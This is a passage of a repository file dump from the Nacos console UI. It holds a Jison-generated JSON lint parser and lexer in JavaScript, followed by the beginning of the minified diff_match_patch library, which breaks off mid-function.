    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n/* Jison generated parser */\nvar jsonlint = (function(){\nvar parser = {trace: function trace() { },\nyy: {},\nsymbols_: {\"error\":2,\"JSONString\":3,\"STRING\":4,\"JSONNumber\":5,\"NUMBER\":6,\"JSONNullLiteral\":7,\"NULL\":8,\"JSONBooleanLiteral\":9,\"TRUE\":10,\"FALSE\":11,\"JSONText\":12,\"JSONValue\":13,\"EOF\":14,\"JSONObject\":15,\"JSONArray\":16,\"{\":17,\"}\":18,\"JSONMemberList\":19,\"JSONMember\":20,\":\":21,\",\":22,\"[\":23,\"]\":24,\"JSONElementList\":25,\"$accept\":0,\"$end\":1},\nterminals_: {2:\"error\",4:\"STRING\",6:\"NUMBER\",8:\"NULL\",10:\"TRUE\",11:\"FALSE\",14:\"EOF\",17:\"{\",18:\"}\",21:\":\",22:\",\",23:\"[\",24:\"]\"},\nproductions_: [0,[3,1],[5,1],[7,1],[9,1],[9,1],[12,2],[13,1],[13,1],[13,1],[13,1],[13,1],[13,1],[15,2],[15,3],[20,3],[19,1],[19,3],[16,2],[16,3],[25,1],[25,3]],\nperformAction: function anonymous(yytext,yyleng,yylineno,yy,yystate,$$,_$) {\n\nvar $0 = $$.length - 1;\nswitch (yystate) {\ncase 1: // replace escaped characters with actual character\n          this.$ = yytext.replace(/\\\\(\\\\|\")/g, \"$\"+\"1\")\n                     .replace(/\\\\n/g,'\\n')\n                     .replace(/\\\\r/g,'\\r')\n                     .replace(/\\\\t/g,'\\t')\n                     .replace(/\\\\v/g,'\\v')\n                     .replace(/\\\\f/g,'\\f')\n                     .replace(/\\\\b/g,'\\b');\n\nbreak;\ncase 2:this.$ = Number(yytext);\nbreak;\ncase 3:this.$ = null;\nbreak;\ncase 4:this.$ = true;\nbreak;\ncase 5:this.$ = false;\nbreak;\ncase 6:return this.$ = $$[$0-1];\nbreak;\ncase 13:this.$ = {};\nbreak;\ncase 14:this.$ = $$[$0-1];\nbreak;\ncase 15:this.$ = [$$[$0-2], $$[$0]];\nbreak;\ncase 16:this.$ = {}; this.$[$$[$0][0]] = $$[$0][1];\nbreak;\ncase 17:this.$ = $$[$0-2]; $$[$0-2][$$[$0][0]] = $$[$0][1];\nbreak;\ncase 18:this.$ = [];\nbreak;\ncase 19:this.$ = $$[$0-1];\nbreak;\ncase 20:this.$ = [$$[$0]];\nbreak;\ncase 21:this.$ = $$[$0-2]; $$[$0-2].push($$[$0]);\nbreak;\n}\n},\ntable: [{3:5,4:[1,12],5:6,6:[1,13],7:3,8:[1,9],9:4,10:[1,10],11:[1,11],12:1,13:2,15:7,16:8,17:[1,14],23:[1,15]},{1:[3]},{14:[1,16]},{14:[2,7],18:[2,7],22:[2,7],24:[2,7]},{14:[2,8],18:[2,8],22:[2,8],24:[2,8]},{14:[2,9],18:[2,9],22:[2,9],24:[2,9]},{14:[2,10],18:[2,10],22:[2,10],24:[2,10]},{14:[2,11],18:[2,11],22:[2,11],24:[2,11]},{14:[2,12],18:[2,12],22:[2,12],24:[2,12]},{14:[2,3],18:[2,3],22:[2,3],24:[2,3]},{14:[2,4],18:[2,4],22:[2,4],24:[2,4]},{14:[2,5],18:[2,5],22:[2,5],24:[2,5]},{14:[2,1],18:[2,1],21:[2,1],22:[2,1],24:[2,1]},{14:[2,2],18:[2,2],22:[2,2],24:[2,2]},{3:20,4:[1,12],18:[1,17],19:18,20:19},{3:5,4:[1,12],5:6,6:[1,13],7:3,8:[1,9],9:4,10:[1,10],11:[1,11],13:23,15:7,16:8,17:[1,14],23:[1,15],24:[1,21],25:22},{1:[2,6]},{14:[2,13],18:[2,13],22:[2,13],24:[2,13]},{18:[1,24],22:[1,25]},{18:[2,16],22:[2,16]},{21:[1,26]},{14:[2,18],18:[2,18],22:[2,18],24:[2,18]},{22:[1,28],24:[1,27]},{22:[2,20],24:[2,20]},{14:[2,14],18:[2,14],22:[2,14],24:[2,14]},{3:20,4:[1,12],20:29},{3:5,4:[1,12],5:6,6:[1,13],7:3,8:[1,9],9:4,10:[1,10],11:[1,11],13:30,15:7,16:8,17:[1,14],23:[1,15]},{14:[2,19],18:[2,19],22:[2,19],24:[2,19]},{3:5,4:[1,12],5:6,6:[1,13],7:3,8:[1,9],9:4,10:[1,10],11:[1,11],13:31,15:7,16:8,17:[1,14],23:[1,15]},{18:[2,17],22:[2,17]},{18:[2,15],22:[2,15]},{22:[2,21],24:[2,21]}],\ndefaultActions: {16:[2,6]},\nparseError: function parseError(str, hash) {\n    throw new Error(str);\n},\nparse: function parse(input) {\n    var self = this,\n        stack = [0],\n        vstack = [null], // semantic value stack\n        lstack = [], // location stack\n        table = this.table,\n        yytext = '',\n        yylineno = 0,\n        yyleng = 0,\n        recovering = 0,\n        TERROR = 2,\n        EOF = 1;\n\n    //this.reductionCount = this.shiftCount = 0;\n\n    this.lexer.setInput(input);\n    this.lexer.yy = this.yy;\n    this.yy.lexer = this.lexer;\n    if (typeof this.lexer.yylloc == 'undefined')\n        this.lexer.yylloc = {};\n    var yyloc = this.lexer.yylloc;\n    lstack.push(yyloc);\n\n    if (typeof this.yy.parseError === 'function')\n        this.parseError = this.yy.parseError;\n\n    function popStack (n) {\n        stack.length = stack.length - 2*n;\n        vstack.length = vstack.length - n;\n        lstack.length = lstack.length - n;\n    }\n\n    function lex() {\n        var token;\n        token = self.lexer.lex() || 1; // $end = 1\n        // if token isn't its numeric value, convert\n        if (typeof token !== 'number') {\n            token = self.symbols_[token] || token;\n        }\n        return token;\n    }\n\n    var symbol, preErrorSymbol, state, action, a, r, yyval={},p,len,newState, expected;\n    while (true) {\n        // retreive state number from top of stack\n        state = stack[stack.length-1];\n\n        // use default actions if available\n        if (this.defaultActions[state]) {\n            action = this.defaultActions[state];\n        } else {\n            if (symbol == null)\n                symbol = lex();\n            // read action for current state and first input\n            action = table[state] && table[state][symbol];\n        }\n\n        // handle parse error\n        _handle_error:\n        if (typeof action === 'undefined' || !action.length || !action[0]) {\n\n            if (!recovering) {\n                // Report error\n                expected = [];\n                for (p in table[state]) if (this.terminals_[p] && p > 2) {\n                    expected.push(\"'\"+this.terminals_[p]+\"'\");\n                }\n                var errStr = '';\n                if (this.lexer.showPosition) {\n                    errStr = 'Parse error on line '+(yylineno+1)+\":\\n\"+this.lexer.showPosition()+\"\\nExpecting \"+expected.join(', ') + \", got '\" + this.terminals_[symbol]+ \"'\";\n                } else {\n                    errStr = 'Parse error on line '+(yylineno+1)+\": Unexpected \" +\n                                  (symbol == 1 /*EOF*/ ? \"end of input\" :\n                                              (\"'\"+(this.terminals_[symbol] || symbol)+\"'\"));\n                }\n                this.parseError(errStr,\n                    {text: this.lexer.match, token: this.terminals_[symbol] || symbol, line: this.lexer.yylineno, loc: yyloc, expected: expected});\n            }\n\n            // just recovered from another error\n            if (recovering == 3) {\n                if (symbol == EOF) {\n                    throw new Error(errStr || 'Parsing halted.');\n                }\n\n                // discard current lookahead and grab another\n                yyleng = this.lexer.yyleng;\n                yytext = this.lexer.yytext;\n                yylineno = this.lexer.yylineno;\n                yyloc = this.lexer.yylloc;\n                symbol = lex();\n            }\n\n            // try to recover from error\n            while (1) {\n                // check for error recovery rule in this state\n                if ((TERROR.toString()) in table[state]) {\n                    break;\n                }\n                if (state == 0) {\n                    throw new Error(errStr || 'Parsing halted.');\n                }\n                popStack(1);\n                state = stack[stack.length-1];\n            }\n\n            preErrorSymbol = symbol; // save the lookahead token\n            symbol = TERROR;         // insert generic error symbol as new lookahead\n            state = stack[stack.length-1];\n            action = table[state] && table[state][TERROR];\n            recovering = 3; // allow 3 real symbols to be shifted before reporting a new error\n        }\n\n        // this shouldn't happen, unless resolve defaults are off\n        if (action[0] instanceof Array && action.length > 1) {\n            throw new Error('Parse Error: multiple actions possible at state: '+state+', token: '+symbol);\n        }\n\n        switch (action[0]) {\n\n            case 1: // shift\n                //this.shiftCount++;\n\n                stack.push(symbol);\n                vstack.push(this.lexer.yytext);\n                lstack.push(this.lexer.yylloc);\n                stack.push(action[1]); // push state\n                symbol = null;\n                if (!preErrorSymbol) { // normal execution/no error\n                    yyleng = this.lexer.yyleng;\n                    yytext = this.lexer.yytext;\n                    yylineno = this.lexer.yylineno;\n                    yyloc = this.lexer.yylloc;\n                    if (recovering > 0)\n                        recovering--;\n                } else { // error just occurred, resume old lookahead f/ before error\n                    symbol = preErrorSymbol;\n                    preErrorSymbol = null;\n                }\n                break;\n\n            case 2: // reduce\n                //this.reductionCount++;\n\n                len = this.productions_[action[1]][1];\n\n                // perform semantic action\n                yyval.$ = vstack[vstack.length-len]; // default to $$ = $1\n                // default location, uses first token for firsts, last for lasts\n                yyval._$ = {\n                    first_line: lstack[lstack.length-(len||1)].first_line,\n                    last_line: lstack[lstack.length-1].last_line,\n                    first_column: lstack[lstack.length-(len||1)].first_column,\n                    last_column: lstack[lstack.length-1].last_column\n                };\n                r = this.performAction.call(yyval, yytext, yyleng, yylineno, this.yy, action[1], vstack, lstack);\n\n                if (typeof r !== 'undefined') {\n                    return r;\n                }\n\n                // pop off stack\n                if (len) {\n                    stack = stack.slice(0,-1*len*2);\n                    vstack = vstack.slice(0, -1*len);\n                    lstack = lstack.slice(0, -1*len);\n                }\n\n                stack.push(this.productions_[action[1]][0]);    // push nonterminal (reduce)\n                vstack.push(yyval.$);\n                lstack.push(yyval._$);\n                // goto new state = table[STATE][NONTERMINAL]\n                newState = table[stack[stack.length-2]][stack[stack.length-1]];\n                stack.push(newState);\n                break;\n\n            case 3: // accept\n                return true;\n        }\n\n    }\n\n    return true;\n}};\n/* Jison generated lexer */\nvar lexer = (function(){\nvar lexer = ({EOF:1,\nparseError:function parseError(str, hash) {\n        if (this.yy.parseError) {\n            this.yy.parseError(str, hash);\n        } else {\n            throw new Error(str);\n        }\n    },\nsetInput:function (input) {\n        this._input = input;\n        this._more = this._less = this.done = false;\n        this.yylineno = this.yyleng = 0;\n        this.yytext = this.matched = this.match = '';\n        this.conditionStack = ['INITIAL'];\n        this.yylloc = {first_line:1,first_column:0,last_line:1,last_column:0};\n        return this;\n    },\ninput:function () {\n        var ch = this._input[0];\n        this.yytext+=ch;\n        this.yyleng++;\n        this.match+=ch;\n        this.matched+=ch;\n        var lines = ch.match(/\\n/);\n        if (lines) this.yylineno++;\n        this._input = this._input.slice(1);\n        return ch;\n    },\nunput:function (ch) {\n        this._input = ch + this._input;\n        return this;\n    },\nmore:function () {\n        this._more = true;\n        return this;\n    },\nless:function (n) {\n        this._input = this.match.slice(n) + this._input;\n    },\npastInput:function () {\n        var past = this.matched.substr(0, this.matched.length - this.match.length);\n        return (past.length > 20 ? '...':'') + past.substr(-20).replace(/\\n/g, \"\");\n    },\nupcomingInput:function () {\n        var next = this.match;\n        if (next.length < 20) {\n            next += this._input.substr(0, 20-next.length);\n        }\n        return (next.substr(0,20)+(next.length > 20 ? '...':'')).replace(/\\n/g, \"\");\n    },\nshowPosition:function () {\n        var pre = this.pastInput();\n        var c = new Array(pre.length + 1).join(\"-\");\n        return pre + this.upcomingInput() + \"\\n\" + c+\"^\";\n    },\nnext:function () {\n        if (this.done) {\n            return this.EOF;\n        }\n        if (!this._input) this.done = true;\n\n        var token,\n            match,\n            tempMatch,\n            index,\n            col,\n            lines;\n        if (!this._more) {\n            this.yytext = '';\n            this.match = '';\n        }\n        var rules = this._currentRules();\n        for (var i=0;i < rules.length; i++) {\n            tempMatch = this._input.match(this.rules[rules[i]]);\n            if (tempMatch && (!match || tempMatch[0].length > match[0].length)) {\n                match = tempMatch;\n                index = i;\n                if (!this.options.flex) break;\n            }\n        }\n        if (match) {\n            lines = match[0].match(/\\n.*/g);\n            if (lines) this.yylineno += lines.length;\n            this.yylloc = {first_line: this.yylloc.last_line,\n                           last_line: this.yylineno+1,\n                           first_column: this.yylloc.last_column,\n                           last_column: lines ? lines[lines.length-1].length-1 : this.yylloc.last_column + match[0].length}\n            this.yytext += match[0];\n            this.match += match[0];\n            this.yyleng = this.yytext.length;\n            this._more = false;\n            this._input = this._input.slice(match[0].length);\n            this.matched += match[0];\n            token = this.performAction.call(this, this.yy, this, rules[index],this.conditionStack[this.conditionStack.length-1]);\n            if (this.done && this._input) this.done = false;\n            if (token) return token;\n            else return;\n        }\n        if (this._input === \"\") {\n            return this.EOF;\n        } else {\n            this.parseError('Lexical error on line '+(this.yylineno+1)+'. Unrecognized text.\\n'+this.showPosition(),\n                    {text: \"\", token: null, line: this.yylineno});\n        }\n    },\nlex:function lex() {\n        var r = this.next();\n        if (typeof r !== 'undefined') {\n            return r;\n        } else {\n            return this.lex();\n        }\n    },\nbegin:function begin(condition) {\n        this.conditionStack.push(condition);\n    },\npopState:function popState() {\n        return this.conditionStack.pop();\n    },\n_currentRules:function _currentRules() {\n        return this.conditions[this.conditionStack[this.conditionStack.length-1]].rules;\n    },\ntopState:function () {\n        return this.conditionStack[this.conditionStack.length-2];\n    },\npushState:function begin(condition) {\n        this.begin(condition);\n    }});\nlexer.options = {};\nlexer.performAction = function anonymous(yy,yy_,$avoiding_name_collisions,YY_START) {\n\nvar YYSTATE=YY_START\nswitch($avoiding_name_collisions) {\ncase 0:/* skip whitespace */\nbreak;\ncase 1:return 6\nbreak;\ncase 2:yy_.yytext = yy_.yytext.substr(1,yy_.yyleng-2); return 4\nbreak;\ncase 3:return 17\nbreak;\ncase 4:return 18\nbreak;\ncase 5:return 23\nbreak;\ncase 6:return 24\nbreak;\ncase 7:return 22\nbreak;\ncase 8:return 21\nbreak;\ncase 9:return 10\nbreak;\ncase 10:return 11\nbreak;\ncase 11:return 8\nbreak;\ncase 12:return 14\nbreak;\ncase 13:return 'INVALID'\nbreak;\n}\n};\nlexer.rules = [/^(?:\\s+)/,/^(?:(-?([0-9]|[1-9][0-9]+))(\\.[0-9]+)?([eE][-+]?[0-9]+)?\\b)/,/^(?:\"(?:\\\\[\\\\\"bfnrt/]|\\\\u[a-fA-F0-9]{4}|[^\\\\\\0-\\x09\\x0a-\\x1f\"])*\")/,/^(?:\\{)/,/^(?:\\})/,/^(?:\\[)/,/^(?:\\])/,/^(?:,)/,/^(?::)/,/^(?:true\\b)/,/^(?:false\\b)/,/^(?:null\\b)/,/^(?:$)/,/^(?:.)/];\nlexer.conditions = {\"INITIAL\":{\"rules\":[0,1,2,3,4,5,6,7,8,9,10,11,12,13],\"inclusive\":true}};\n\n\n;\nreturn lexer;})()\nparser.lexer = lexer;\nreturn parser;\n})();\nif (typeof require !== 'undefined' && typeof exports !== 'undefined') {\nexports.parser = jsonlint;\nexports.parse = function () { return jsonlint.parse.apply(jsonlint, arguments); }\nexports.main = function commonjsMain(args) {\n    if (!args[1])\n        throw new Error('Usage: '+args[0]+' FILE');\n    if (typeof process !== 'undefined') {\n        var source = require('fs').readFileSync(require('path').join(process.cwd(), args[1]), \"utf8\");\n    } else {\n        var cwd = require(\"file\").path(require(\"file\").cwd());\n        var source = cwd.join(args[1]).read({charset: \"utf-8\"});\n    }\n    return exports.parser.parse(source);\n}\nif (typeof module !== 'undefined' && require.main === module) {\n  exports.main(typeof process !== 'undefined' ? process.argv.slice(1) : require(\"system\").args);\n}\n}\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/diff_match_patch.js",
    "content": "(function(){function diff_match_patch(){this.Diff_Timeout=1;this.Diff_EditCost=4;this.Match_Threshold=0.5;this.Match_Distance=1E3;this.Patch_DeleteThreshold=0.5;this.Patch_Margin=4;this.Match_MaxBits=32}\ndiff_match_patch.prototype.diff_main=function(a,b,c,d){\"undefined\"==typeof d&&(d=0>=this.Diff_Timeout?Number.MAX_VALUE:(new Date).getTime()+1E3*this.Diff_Timeout);if(null==a||null==b)throw Error(\"Null input. (diff_main)\");if(a==b)return a?[[0,a]]:[];\"undefined\"==typeof c&&(c=!0);var e=c,f=this.diff_commonPrefix(a,b);c=a.substring(0,f);a=a.substring(f);b=b.substring(f);var f=this.diff_commonSuffix(a,b),g=a.substring(a.length-f);a=a.substring(0,a.length-f);b=b.substring(0,b.length-f);a=this.diff_compute_(a,\nb,e,d);c&&a.unshift([0,c]);g&&a.push([0,g]);this.diff_cleanupMerge(a);return a};\ndiff_match_patch.prototype.diff_compute_=function(a,b,c,d){if(!a)return[[1,b]];if(!b)return[[-1,a]];var e=a.length>b.length?a:b,f=a.length>b.length?b:a,g=e.indexOf(f);return-1!=g?(c=[[1,e.substring(0,g)],[0,f],[1,e.substring(g+f.length)]],a.length>b.length&&(c[0][0]=c[2][0]=-1),c):1==f.length?[[-1,a],[1,b]]:(e=this.diff_halfMatch_(a,b))?(f=e[0],a=e[1],g=e[2],b=e[3],e=e[4],f=this.diff_main(f,g,c,d),c=this.diff_main(a,b,c,d),f.concat([[0,e]],c)):c&&100<a.length&&100<b.length?this.diff_lineMode_(a,b,\nd):this.diff_bisect_(a,b,d)};\ndiff_match_patch.prototype.diff_lineMode_=function(a,b,c){var d=this.diff_linesToChars_(a,b);a=d.chars1;b=d.chars2;d=d.lineArray;a=this.diff_main(a,b,!1,c);this.diff_charsToLines_(a,d);this.diff_cleanupSemantic(a);a.push([0,\"\"]);for(var e=d=b=0,f=\"\",g=\"\";b<a.length;){switch(a[b][0]){case 1:e++;g+=a[b][1];break;case -1:d++;f+=a[b][1];break;case 0:if(1<=d&&1<=e){a.splice(b-d-e,d+e);b=b-d-e;d=this.diff_main(f,g,!1,c);for(e=d.length-1;0<=e;e--)a.splice(b,0,d[e]);b+=d.length}d=e=0;g=f=\"\"}b++}a.pop();return a};\ndiff_match_patch.prototype.diff_bisect_=function(a,b,c){for(var d=a.length,e=b.length,f=Math.ceil((d+e)/2),g=f,h=2*f,j=Array(h),i=Array(h),k=0;k<h;k++)j[k]=-1,i[k]=-1;j[g+1]=0;i[g+1]=0;for(var k=d-e,q=0!=k%2,r=0,t=0,p=0,w=0,v=0;v<f&&!((new Date).getTime()>c);v++){for(var n=-v+r;n<=v-t;n+=2){var l=g+n,m;m=n==-v||n!=v&&j[l-1]<j[l+1]?j[l+1]:j[l-1]+1;for(var s=m-n;m<d&&s<e&&a.charAt(m)==b.charAt(s);)m++,s++;j[l]=m;if(m>d)t+=2;else if(s>e)r+=2;else if(q&&(l=g+k-n,0<=l&&l<h&&-1!=i[l])){var u=d-i[l];if(m>=\nu)return this.diff_bisectSplit_(a,b,m,s,c)}}for(n=-v+p;n<=v-w;n+=2){l=g+n;u=n==-v||n!=v&&i[l-1]<i[l+1]?i[l+1]:i[l-1]+1;for(m=u-n;u<d&&m<e&&a.charAt(d-u-1)==b.charAt(e-m-1);)u++,m++;i[l]=u;if(u>d)w+=2;else if(m>e)p+=2;else if(!q&&(l=g+k-n,0<=l&&(l<h&&-1!=j[l])&&(m=j[l],s=g+m-l,u=d-u,m>=u)))return this.diff_bisectSplit_(a,b,m,s,c)}}return[[-1,a],[1,b]]};\ndiff_match_patch.prototype.diff_bisectSplit_=function(a,b,c,d,e){var f=a.substring(0,c),g=b.substring(0,d);a=a.substring(c);b=b.substring(d);f=this.diff_main(f,g,!1,e);e=this.diff_main(a,b,!1,e);return f.concat(e)};\ndiff_match_patch.prototype.diff_linesToChars_=function(a,b){function c(a){for(var b=\"\",c=0,f=-1,g=d.length;f<a.length-1;){f=a.indexOf(\"\\n\",c);-1==f&&(f=a.length-1);var r=a.substring(c,f+1),c=f+1;(e.hasOwnProperty?e.hasOwnProperty(r):void 0!==e[r])?b+=String.fromCharCode(e[r]):(b+=String.fromCharCode(g),e[r]=g,d[g++]=r)}return b}var d=[],e={};d[0]=\"\";var f=c(a),g=c(b);return{chars1:f,chars2:g,lineArray:d}};\ndiff_match_patch.prototype.diff_charsToLines_=function(a,b){for(var c=0;c<a.length;c++){for(var d=a[c][1],e=[],f=0;f<d.length;f++)e[f]=b[d.charCodeAt(f)];a[c][1]=e.join(\"\")}};diff_match_patch.prototype.diff_commonPrefix=function(a,b){if(!a||!b||a.charAt(0)!=b.charAt(0))return 0;for(var c=0,d=Math.min(a.length,b.length),e=d,f=0;c<e;)a.substring(f,e)==b.substring(f,e)?f=c=e:d=e,e=Math.floor((d-c)/2+c);return e};\ndiff_match_patch.prototype.diff_commonSuffix=function(a,b){if(!a||!b||a.charAt(a.length-1)!=b.charAt(b.length-1))return 0;for(var c=0,d=Math.min(a.length,b.length),e=d,f=0;c<e;)a.substring(a.length-e,a.length-f)==b.substring(b.length-e,b.length-f)?f=c=e:d=e,e=Math.floor((d-c)/2+c);return e};\ndiff_match_patch.prototype.diff_commonOverlap_=function(a,b){var c=a.length,d=b.length;if(0==c||0==d)return 0;c>d?a=a.substring(c-d):c<d&&(b=b.substring(0,c));c=Math.min(c,d);if(a==b)return c;for(var d=0,e=1;;){var f=a.substring(c-e),f=b.indexOf(f);if(-1==f)return d;e+=f;if(0==f||a.substring(c-e)==b.substring(0,e))d=e,e++}};\ndiff_match_patch.prototype.diff_halfMatch_=function(a,b){function c(a,b,c){for(var d=a.substring(c,c+Math.floor(a.length/4)),e=-1,g=\"\",h,j,n,l;-1!=(e=b.indexOf(d,e+1));){var m=f.diff_commonPrefix(a.substring(c),b.substring(e)),s=f.diff_commonSuffix(a.substring(0,c),b.substring(0,e));g.length<s+m&&(g=b.substring(e-s,e)+b.substring(e,e+m),h=a.substring(0,c-s),j=a.substring(c+m),n=b.substring(0,e-s),l=b.substring(e+m))}return 2*g.length>=a.length?[h,j,n,l,g]:null}if(0>=this.Diff_Timeout)return null;\nvar d=a.length>b.length?a:b,e=a.length>b.length?b:a;if(4>d.length||2*e.length<d.length)return null;var f=this,g=c(d,e,Math.ceil(d.length/4)),d=c(d,e,Math.ceil(d.length/2)),h;if(!g&&!d)return null;h=d?g?g[4].length>d[4].length?g:d:d:g;var j;a.length>b.length?(g=h[0],d=h[1],e=h[2],j=h[3]):(e=h[0],j=h[1],g=h[2],d=h[3]);h=h[4];return[g,d,e,j,h]};\ndiff_match_patch.prototype.diff_cleanupSemantic=function(a){for(var b=!1,c=[],d=0,e=null,f=0,g=0,h=0,j=0,i=0;f<a.length;)0==a[f][0]?(c[d++]=f,g=j,h=i,i=j=0,e=a[f][1]):(1==a[f][0]?j+=a[f][1].length:i+=a[f][1].length,e&&(e.length<=Math.max(g,h)&&e.length<=Math.max(j,i))&&(a.splice(c[d-1],0,[-1,e]),a[c[d-1]+1][0]=1,d--,d--,f=0<d?c[d-1]:-1,i=j=h=g=0,e=null,b=!0)),f++;b&&this.diff_cleanupMerge(a);this.diff_cleanupSemanticLossless(a);for(f=1;f<a.length;){if(-1==a[f-1][0]&&1==a[f][0]){b=a[f-1][1];c=a[f][1];\nd=this.diff_commonOverlap_(b,c);e=this.diff_commonOverlap_(c,b);if(d>=e){if(d>=b.length/2||d>=c.length/2)a.splice(f,0,[0,c.substring(0,d)]),a[f-1][1]=b.substring(0,b.length-d),a[f+1][1]=c.substring(d),f++}else if(e>=b.length/2||e>=c.length/2)a.splice(f,0,[0,b.substring(0,e)]),a[f-1][0]=1,a[f-1][1]=c.substring(0,c.length-e),a[f+1][0]=-1,a[f+1][1]=b.substring(e),f++;f++}f++}};\ndiff_match_patch.prototype.diff_cleanupSemanticLossless=function(a){function b(a,b){if(!a||!b)return 6;var c=a.charAt(a.length-1),d=b.charAt(0),e=c.match(diff_match_patch.nonAlphaNumericRegex_),f=d.match(diff_match_patch.nonAlphaNumericRegex_),g=e&&c.match(diff_match_patch.whitespaceRegex_),h=f&&d.match(diff_match_patch.whitespaceRegex_),c=g&&c.match(diff_match_patch.linebreakRegex_),d=h&&d.match(diff_match_patch.linebreakRegex_),i=c&&a.match(diff_match_patch.blanklineEndRegex_),j=d&&b.match(diff_match_patch.blanklineStartRegex_);\nreturn i||j?5:c||d?4:e&&!g&&h?3:g||h?2:e||f?1:0}for(var c=1;c<a.length-1;){if(0==a[c-1][0]&&0==a[c+1][0]){var d=a[c-1][1],e=a[c][1],f=a[c+1][1],g=this.diff_commonSuffix(d,e);if(g)var h=e.substring(e.length-g),d=d.substring(0,d.length-g),e=h+e.substring(0,e.length-g),f=h+f;for(var g=d,h=e,j=f,i=b(d,e)+b(e,f);e.charAt(0)===f.charAt(0);){var d=d+e.charAt(0),e=e.substring(1)+f.charAt(0),f=f.substring(1),k=b(d,e)+b(e,f);k>=i&&(i=k,g=d,h=e,j=f)}a[c-1][1]!=g&&(g?a[c-1][1]=g:(a.splice(c-1,1),c--),a[c][1]=\nh,j?a[c+1][1]=j:(a.splice(c+1,1),c--))}c++}};diff_match_patch.nonAlphaNumericRegex_=/[^a-zA-Z0-9]/;diff_match_patch.whitespaceRegex_=/\\s/;diff_match_patch.linebreakRegex_=/[\\r\\n]/;diff_match_patch.blanklineEndRegex_=/\\n\\r?\\n$/;diff_match_patch.blanklineStartRegex_=/^\\r?\\n\\r?\\n/;\ndiff_match_patch.prototype.diff_cleanupEfficiency=function(a){for(var b=!1,c=[],d=0,e=null,f=0,g=!1,h=!1,j=!1,i=!1;f<a.length;){if(0==a[f][0])a[f][1].length<this.Diff_EditCost&&(j||i)?(c[d++]=f,g=j,h=i,e=a[f][1]):(d=0,e=null),j=i=!1;else if(-1==a[f][0]?i=!0:j=!0,e&&(g&&h&&j&&i||e.length<this.Diff_EditCost/2&&3==g+h+j+i))a.splice(c[d-1],0,[-1,e]),a[c[d-1]+1][0]=1,d--,e=null,g&&h?(j=i=!0,d=0):(d--,f=0<d?c[d-1]:-1,j=i=!1),b=!0;f++}b&&this.diff_cleanupMerge(a)};\ndiff_match_patch.prototype.diff_cleanupMerge=function(a){a.push([0,\"\"]);for(var b=0,c=0,d=0,e=\"\",f=\"\",g;b<a.length;)switch(a[b][0]){case 1:d++;f+=a[b][1];b++;break;case -1:c++;e+=a[b][1];b++;break;case 0:1<c+d?(0!==c&&0!==d&&(g=this.diff_commonPrefix(f,e),0!==g&&(0<b-c-d&&0==a[b-c-d-1][0]?a[b-c-d-1][1]+=f.substring(0,g):(a.splice(0,0,[0,f.substring(0,g)]),b++),f=f.substring(g),e=e.substring(g)),g=this.diff_commonSuffix(f,e),0!==g&&(a[b][1]=f.substring(f.length-g)+a[b][1],f=f.substring(0,f.length-\ng),e=e.substring(0,e.length-g))),0===c?a.splice(b-d,c+d,[1,f]):0===d?a.splice(b-c,c+d,[-1,e]):a.splice(b-c-d,c+d,[-1,e],[1,f]),b=b-c-d+(c?1:0)+(d?1:0)+1):0!==b&&0==a[b-1][0]?(a[b-1][1]+=a[b][1],a.splice(b,1)):b++,c=d=0,f=e=\"\"}\"\"===a[a.length-1][1]&&a.pop();c=!1;for(b=1;b<a.length-1;)0==a[b-1][0]&&0==a[b+1][0]&&(a[b][1].substring(a[b][1].length-a[b-1][1].length)==a[b-1][1]?(a[b][1]=a[b-1][1]+a[b][1].substring(0,a[b][1].length-a[b-1][1].length),a[b+1][1]=a[b-1][1]+a[b+1][1],a.splice(b-1,1),c=!0):a[b][1].substring(0,\na[b+1][1].length)==a[b+1][1]&&(a[b-1][1]+=a[b+1][1],a[b][1]=a[b][1].substring(a[b+1][1].length)+a[b+1][1],a.splice(b+1,1),c=!0)),b++;c&&this.diff_cleanupMerge(a)};diff_match_patch.prototype.diff_xIndex=function(a,b){var c=0,d=0,e=0,f=0,g;for(g=0;g<a.length;g++){1!==a[g][0]&&(c+=a[g][1].length);-1!==a[g][0]&&(d+=a[g][1].length);if(c>b)break;e=c;f=d}return a.length!=g&&-1===a[g][0]?f:f+(b-e)};\ndiff_match_patch.prototype.diff_prettyHtml=function(a){for(var b=[],c=/&/g,d=/</g,e=/>/g,f=/\\n/g,g=0;g<a.length;g++){var h=a[g][0],j=a[g][1],j=j.replace(c,\"&amp;\").replace(d,\"&lt;\").replace(e,\"&gt;\").replace(f,\"&para;<br>\");switch(h){case 1:b[g]='<ins style=\"background:#e6ffe6;\">'+j+\"</ins>\";break;case -1:b[g]='<del style=\"background:#ffe6e6;\">'+j+\"</del>\";break;case 0:b[g]=\"<span>\"+j+\"</span>\"}}return b.join(\"\")};\ndiff_match_patch.prototype.diff_text1=function(a){for(var b=[],c=0;c<a.length;c++)1!==a[c][0]&&(b[c]=a[c][1]);return b.join(\"\")};diff_match_patch.prototype.diff_text2=function(a){for(var b=[],c=0;c<a.length;c++)-1!==a[c][0]&&(b[c]=a[c][1]);return b.join(\"\")};diff_match_patch.prototype.diff_levenshtein=function(a){for(var b=0,c=0,d=0,e=0;e<a.length;e++){var f=a[e][0],g=a[e][1];switch(f){case 1:c+=g.length;break;case -1:d+=g.length;break;case 0:b+=Math.max(c,d),d=c=0}}return b+=Math.max(c,d)};\ndiff_match_patch.prototype.diff_toDelta=function(a){for(var b=[],c=0;c<a.length;c++)switch(a[c][0]){case 1:b[c]=\"+\"+encodeURI(a[c][1]);break;case -1:b[c]=\"-\"+a[c][1].length;break;case 0:b[c]=\"=\"+a[c][1].length}return b.join(\"\\t\").replace(/%20/g,\" \")};\ndiff_match_patch.prototype.diff_fromDelta=function(a,b){for(var c=[],d=0,e=0,f=b.split(/\\t/g),g=0;g<f.length;g++){var h=f[g].substring(1);switch(f[g].charAt(0)){case \"+\":try{c[d++]=[1,decodeURI(h)]}catch(j){throw Error(\"Illegal escape in diff_fromDelta: \"+h);}break;case \"-\":case \"=\":var i=parseInt(h,10);if(isNaN(i)||0>i)throw Error(\"Invalid number in diff_fromDelta: 